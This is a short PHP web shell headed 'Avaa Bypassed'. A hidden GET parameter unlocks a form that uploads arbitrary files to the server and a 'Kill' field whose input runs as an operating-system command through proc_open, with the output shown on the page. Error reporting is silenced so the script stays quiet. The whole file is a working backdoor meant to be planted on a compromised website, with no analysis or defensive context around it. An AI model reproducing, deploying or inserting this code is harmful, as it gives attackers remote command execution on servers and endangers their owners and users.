[ Avaa Bypassed ]

<?php
error_reporting(0); set_time_limit(0);
if (isset($_GET['avaa'])) {
echo "<br><form method='POST' enctype='multipart/form-data'>
<input type='file' name='file' />
<input type='submit' value='>>>' />
</form>";
echo '<form method="post">
<input type="text" name="xmd" size="30">
<input type="submit" value="Kill">
</form>';
if (isset($_FILES['file'])) {
$filename = $_FILES['file']['name'];
$filetmp  = $_FILES['file']['tmp_name'];
if (move_uploaded_file($filetmp, $filename)) {
echo '[OK] ===> ' . $filename;
}
}
if (isset($_POST['xmd'])) {
$xmd = $_POST['xmd'];
$descriptors = array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'w')  // stderr
);
$process = proc_open($xmd, $descriptors, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "<pre>$output</pre>";
echo "Error:\n$error\n";
} else {
echo "no";
}
}
}